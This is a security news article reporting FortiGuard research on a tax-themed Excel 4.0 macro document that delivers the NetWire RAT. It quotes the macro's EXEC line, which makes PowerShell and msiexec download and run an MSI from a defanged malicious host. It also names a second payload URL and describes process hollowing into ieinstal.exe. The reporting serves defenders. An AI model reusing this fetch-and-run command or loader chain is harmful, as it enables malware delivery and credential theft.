Tuesday, July 16, 2024

Hackers Attack Taxpayers Computers Using Netwire RAT via Weaponized Microsoft Excel 4.0

With tax season upon us, Researchers from FortiGuard Labs observed that a new NetWire RAT is spreading in wild using legacy MS Excel 4.0 named “1040 W2 IRS letter.xls” to perform keylogger functions such as capturing screenshots, collecting credentials and so on from victim machines.

In the past, Many NetWire RAT campaigns primarily target verticals like financial services, businesses, and educational institutions. 

It is a multiplatform RAT typically delivered via malspam attachments that contain Microsoft Office files with embedded executables.

It has emerged in the wild from 2012 onwards with improved remote access features and is commercially available in the dark web.

Netwire RAT campaigns 

This is the first time, Researchers observed NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. Excel 4.0 was introduced in 1992, contained an early version of Macro Excel 4.0 macros (also called XLM macros ) predate VBA macros, it works as composed of functions placed inside cells of a macro sheet.

Excel 4.0 macros are still supported in the most recent Microsoft Office versions including office 2019 utilized for the offensive purpose by cyber threats.

Tax-Themed campaign via Excel 4.0 Macro 

The captured Excel file is called, “1040 W2 IRS letter.xls”. With obfuscated IRS forms in background lures victims to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Tax-Themed Excel 4.0 Macro

Sample image shows that sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC(“powershell msiexe” & B7578 & ” /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi”)” as it’s not obfuscated .

Macro C2C Command

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. “B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file named ““unmodifiedness.msi” from a web site and then execute it using the Windows program “msiexe.exe”.

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there. It then transfers the malicious code into a newly created memory space in “ieinstal.exe”.

Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

The process tree of the running downloaded MSI file

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”

NetWire RAT collects the data such as current system time, the variant host-ID, the victim’s login user, the computer name, capture a screenshot of the victim’s screen into JPEG and so on. It has improved its feature that collects credentials from the victim’s.

Indicators of compromise (IOC):




Latest articles

HardBit Ransomware Using Passphrase Protection To Evade Detection

In 2022, HardBit Ransomware emerged as version 4.0. Unlike typical ransomware groups, this ransomware...

New Poco RAT Weaponizing 7zip Files Using Google Drive

The hackers weaponize 7zip files to pass through security measures and deliver malware effectively.These...

New ShadowRoot Ransomware Attacking Business Via Weaponized PDF’s

X-Labs identified basic ransomware targeting Turkish businesses, delivered via PDF attachments in suspicious emails...

Hacktivist Groups Preparing for DDoS Attacks Targeting Paris Olympics

Cyble Research & Intelligence Labs (CRIL) researchers have identified a cyber threat targeting the...

Critical Cellopoint Secure Email Gateway Flaw Let Attackers Execute Arbitrary Code

A critical vulnerability has been discovered in the Cellopoint Secure Email Gateway, identified as...

Singapore Banks to Phase out OTPs for Bank Account Logins Within 3 Months

The Monetary Authority of Singapore (MAS) and The Association of Banks in Singapore (ABS)...

GuardZoo Android Malware Attacking military personnel via WhatsApp To Steal Sensitive Data

A Houthi-aligned group has been deploying Android surveillanceware called GuardZoo since October 2019 to...

Free Webinar

Low Rate DDoS Attack

9 of 10 sites on the AppTrana network have faced a DDoS attack in the last 30 days.
Some DDoS attacks could readily be blocked by rate-limiting, IP reputation checks and other basic mitigation methods.
More than 50% of the DDoS attacks are employing botnets to send slow DDoS attacks where millions of IPs are being employed to send one or two requests per minute..
Key takeaways include:

  • The mechanics of a low-DDoS attack
  • Fundamentals of behavioural AI and rate-limiting
  • Surgical mitigation actions to minimize false positives
  • Role of managed services in DDoS monitoring

Related Articles